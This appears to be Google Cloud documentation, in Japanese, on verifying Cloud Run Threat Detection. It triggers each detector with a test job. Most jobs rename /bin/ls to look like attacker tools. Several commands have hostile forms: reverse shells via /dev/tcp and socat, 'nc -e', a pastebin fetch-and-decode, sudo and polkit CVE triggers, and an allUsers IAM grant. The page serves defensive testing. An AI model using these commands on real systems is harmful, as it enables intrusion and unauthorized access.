このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Cloud Run Threat Detection の動作を確認する方法について説明します。Cloud Run Threat Detection は、Security Command Center の組み込みサービスです。
始める前に
Cloud Run サービスとジョブに対する潜在的な脅威を検出するには、Security Command Center で Cloud Run Threat Detection サービスが有効になっていることを確認します。一部の検出機能はデフォルトで無効になっています。これらの検出機能をテストするには、まず有効にする必要があります。
環境変数を設定する
検出機能をテストするには、 Google Cloud コンソールと Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。これらの変数を使用して、すべての検出機能をテストします。
Google Cloud コンソールに移動します。
テストに使用する Cloud Run ジョブが含まれているプロジェクトを選択します。
「Cloud Shell をアクティブにする」
をクリックします。
Cloud Shell で、環境変数を設定します。
テストジョブを作成するプロジェクトとリージョンを設定します。
export PROJECT=PROJECT_ID export REGION=REGION
環境変数を設定したら、検出器のテストの手順に進みます。
コマンドと制御: Steganography ツールの検出
Command and Control: Steganography Tool Detected(プレビュー)の検出結果をトリガーするには、ステガノグラフィー ツールと一致するファイル操作機能を備えたバイナリをコンテナ内で実行します。この例では、/bin/ls をコピーして、名前を steghide に変更します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Command and Control: Steganography Tool
Detected の検出結果を作成します。
認証情報アクセス: Google Cloud 認証情報の検索
Credential Access: Find Google Cloud Credentials の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行します。この例では、/bin/ls をコピーして grep に名前を変更し、疑わしい引数を指定して実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Credential Access: Find Google Cloud Credentials の検出結果を作成します。
認証情報アクセス: GPG キーの偵察
Credential Access: GPG Key Reconnaissance の検出結果をトリガーするには、不審な引数を使用して検索ツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Credential Access: GPG Key Reconnaissance の検出結果を作成します。
認証情報アクセス: 秘密鍵またはパスワードの検索
Credential Access: Search Private Keys or Passwords の検出結果をトリガーするには、不審な引数を使用して検索ツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Credential Access: Search Private Keys or
Passwords の検出結果を作成します。
防御回避: Base64 ELF ファイルのコマンドライン
Defense Evasion: Base64 ELF File Command Line の検出結果をトリガーするには、エンコードされた ELF ヘッダー引数を指定して base64 を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、2 つの Defense Evasion: Base64 ELF File Command Line の検出結果が作成されます。
防御回避: Base64 でエンコードされた Python スクリプトの実行
Defense Evasion: Base64 Encoded Python Script Executed の検出結果をトリガーするには、エンコードされた Python コマンドを使用して echo を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Defense Evasion: Base64 Encoded Python Script Executed の検出結果を作成します。
防御回避: Base64 でエンコードされたシェル スクリプトの実行
Defense Evasion: Base64 Encoded Shell Script Executed の検出結果をトリガーするには、エンコードされたシェルコマンドを指定して echo を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Defense Evasion: Base64 Encoded Shell Script Executed の検出結果を作成します。
防御回避: コンテナでのコード コンパイラ ツールの起動
Defense Evasion: Launch Code Compiler Tool In Container(プレビュー)の検出結果をトリガーするには、コンパイラ ツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Defense Evasion: Launch Code Compiler Tool
In Container の検出結果を作成します。
実行: 追加された悪意のあるバイナリの実行
「実行: 追加された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナに悪意のあるバイナリ(EICAR)を追加して実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が作成されます。
実行: 追加された悪意のあるライブラリの読み込み
「実行: 追加された悪意のあるライブラリが読み込まれた」の検出結果をトリガーするには、コンテナに悪意のあるライブラリを追加して読み込みます。この例では、シミュレートされた悪意のあるライブラリで /tmp/test_mal_lib ファイルを更新し、mmap を使用して読み込みます。このファイルは元のコンテナ イメージに含まれておらず、このライブラリは脅威インテリジェンスによって悪意のあるものとして分類された EICAR テストファイルであるため、既存のファイルのライブラリ読み込みは想定外の動作となります。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: 追加された悪意のあるライブラリが読み込まれた」の検出結果が作成されます。
実行: コンテナ エスケープ
「実行: コンテナ エスケープ」の検出結果をトリガーするには、コンテナ エスケープの動作をシミュレートするツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: コンテナ エスケープ」の検出結果を作成します。
実行: /memfd: でのファイルレス実行
Execution: Fileless Execution in /memfd: 検出結果をトリガーするには、Python を使用して /memfd: インメモリ ファイル システムからプロセスを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Fileless Execution in /memfd: の検出結果を作成します。
実行: Kubernetes 攻撃ツールの実行
「実行: Kubernetes 攻撃ツールの実行」の検出結果をトリガーするには、既知の攻撃ツールと一致するプログラムを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: Kubernetes 攻撃ツールの実行」の検出結果が作成されます。
実行: ローカル偵察ツールの実行
Execution: Local Reconnaissance Tool Execution の検出結果をトリガーするには、偵察ツールに一致するプログラムを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: ローカル偵察ツールの実行」の検出結果が作成されます。
実行: 変更された悪意のあるバイナリの実行
「実行: 変更された悪意のあるバイナリの実行」の検出結果をトリガーするには、既知の悪意のあるシグネチャ(EICAR)と一致するようにバイナリを変更します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が作成されます。
実行: 変更された悪意のあるライブラリの読み込み
「実行: 変更された悪意のあるライブラリが読み込まれた」の検出結果をトリガーするには、コンテナ内の悪意のあるライブラリを含む既存のファイルを変更して読み込みます。この例では、シミュレートされた悪意のあるライブラリで /etc/issue ファイルを更新し、mmap を使用して読み込みます。ライブラリは脅威インテリジェンスによって悪意のあるものとして分類された EICAR テストファイルであるため、既存のファイルのライブラリの読み込みは想定外です。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: 変更された悪意のあるライブラリが読み込まれた」という検出結果が生成されます。
実行: コンテナでの Netcat リモートコードの実行
Execution: Netcat Remote Code Execution In Container イベントをトリガーするには、不審な引数を指定して netcat を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Netcat Remote Code Execution In
Container の検出結果を作成します。
実行: CUPS を介した任意のコマンド実行の可能性(CVE-2024-47076)
Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) の検出結果をトリガーするには、エクスプロイトをシミュレートするスクリプトを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) の検出結果を作成します。
実行: リモート コマンド実行の可能性の検出
Execution: Possible Remote Command Execution Detected(プレビュー)の検出結果をトリガーするには、リモート接続を試行するコマンドを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Possible Remote Command
Execution Detected の検出結果を作成します。
実行: 許可されていない HTTP プロキシ環境でのプログラムの実行
Execution: Program Run with Disallowed HTTP Proxy Env の検出結果をトリガーするには、不正なプロキシ環境変数を使用してプログラムを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Program Run with Disallowed
HTTP Proxy Env の検出結果を作成します。
実行: 検出された Socat リバースシェル
Execution: Socat Reverse Shell Detected の検出結果をトリガーするには、socat ユーティリティを使用してリバースシェルを確立します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Socat Reverse Shell Detected の検出結果を作成します。
実行: 不審な OpenSSL 共有オブジェクトの読み込み
Execution: Suspicious OpenSSL Shared Object Loaded 検出結果をトリガーするには、不審なライブラリを使用して openssl を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Execution: Suspicious OpenSSL Shared Object Loaded の検出結果を作成します。
データの引き出し: コンテナでのリモート ファイル コピー ツールの起動
Exfiltration: Launch Remote File Copy Tools In Container の検出結果をトリガーするには、リモート コピー ツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Exfiltration: Launch Remote File Copy Tools
In Container の検出結果を作成します。
影響: 悪意のあるコマンドラインの検出
Impact: Detect Malicious Cmdlines(プレビュー)の検出結果をトリガーするには、疑わしいコマンド名(IPFS)を実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Impact: Detect Malicious Cmdlines の検出結果を作成します。
影響: ディスクからの大量のデータの削除
Impact: Remove Bulk Data From Disk の検出結果をトリガーするには、shred などのツールを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Impact: Remove Bulk Data From Disk の検出結果を作成します。
影響: Stratum プロトコルを使用した不審な暗号通貨マイニング アクティビティ
Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol の検出結果をトリガーするには、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に類似した引数を使用して、バイナリを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol の検出結果を作成します。
悪意のあるスクリプトの実行
悪意のあるスクリプトの実行の検出結果をトリガーするには、悪意のある動作を模倣するスクリプトを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、悪意のあるスクリプトの実行の検出結果を作成します。
悪意のある URL の観測
悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、悪意のある URL の観測の検出結果がトリガーされます。
権限昇格: 権限昇格のための Sudo の不正使用(CVE-2019-14287)
Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) の検出結果をトリガーするには、-u#-1 パラメータを指定して sudo バイナリを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) の検出結果を作成します。
権限昇格: Sudo による権限昇格の可能性(CVE-2021-3156)
Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) の検出結果をトリガーするには、-s パラメータと `` で終わるパラメータを指定して sudo バイナリを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) の検出結果を作成します。
権限昇格: Polkit のローカル権限昇格の脆弱性(CVE-2021-4034)
Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) の検出結果をトリガーするには、GCONV_PATH 環境変数を設定して pkexec バイナリを root 以外のユーザーとして実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) の検出結果を作成します。
リバースシェル
リバースシェルの検出結果をトリガーするには、TCP 接続のソケットへの stdin リダイレクトでバイナリを開始します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、リバースシェルの検出結果を作成します。
実行: クリプトマイニング Docker イメージ
実行をトリガーするには: クリプトマイニング Docker イメージの検出結果、クリプトマイニング ソフトウェアに関連付けられた Docker イメージ名を使用してコンテナをデプロイします。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、「実行: クリプトマイニング Docker イメージ」という検出結果が作成されます。イメージが存在しないため、ジョブのデプロイは失敗しますが、検出結果は生成されます。
影響: クリプトマイニング コマンド
Impact: Cryptomining Commands の検出結果をトリガーするには、既知のクリプトマイニング ソフトウェアに類似した引数を使用してコマンドを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Impact: Cryptomining Commands の検出結果を作成します。
権限昇格: デフォルトの Compute Engine サービス アカウントの SetIAMPolicy
Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy の検出結果をトリガーするには、デフォルトの Compute Engine サービス アカウントを使用して Cloud Run サービスの IAM ポリシーを設定するコマンドを実行します。
Cloud Run ジョブを作成して実行します。
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
